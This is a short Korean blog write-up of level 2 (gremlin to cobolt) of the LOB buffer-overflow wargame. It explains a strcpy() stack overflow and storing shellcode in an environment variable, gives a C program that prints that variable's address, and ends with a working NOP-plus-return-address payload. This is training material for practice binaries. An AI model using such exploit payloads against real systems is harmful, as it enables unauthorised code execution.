시스템 해킹/LOB
LOB - Level2 [gremlin -> cobolt]
ii4gsp
2020. 1. 13. 22:39
첫 번째 문제와 크게 달라지진 않았다.
하지만 버퍼의 크기가작아 쉘코드를 환경변수에 등록하면 될것 같다.
strcpy() 함수에서 취약점이 일어난다.
파일을 복사해주고 gdb로 열어보면 스택의 구조는 buffer - sfp - ret이다.
#include <stdio.h>
int main()
{
printf("%p\n", getenv("shellcode"));
return 0;
}
쉘코드의 주소를 알아내기 위해 소스코드를 작성해주고
25byte 쉘코드를 환경변수에 등록해주고 아까 작성한 코드를 실행하여 쉘코드의 주소를 알아내었다.
페이로드 작성은 buffer[16byte] + sfp[4byte] + ret가 된다.
payload
./cobolt $(python -c 'print "\x90" * 20 + "\x61\xff\xff\xbf"')